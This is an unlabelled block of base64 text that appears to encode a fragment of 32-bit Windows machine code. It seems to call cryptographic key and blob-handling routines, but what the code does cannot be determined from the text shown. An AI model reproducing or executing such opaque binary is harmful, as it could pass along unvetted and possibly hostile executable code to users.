H4oQiiKKJAolCicKK4ogCjKKNIo3ijgKOIo5CjmKOgo6ijsKO4o8CjyKPQo9ij4KPoo/Cj+KMApBikKKRIpGCkcKSQpKikuKTYpPCkAKUgpTilSKVopZClsKXYpfilIKZApmimcKZ4poCmiKawprimwKbIptCm+KYApwinEKcYp0CnSKdQp1inYKeIp5CnmKegp6in0KfYp+Cn6KfwpxioIKgoqDCoOKhgqGiocKh4qICoqKiwqLiowKjIqPCo+KgAqQipEKk4qUCpSKlQqVipgKmIqZC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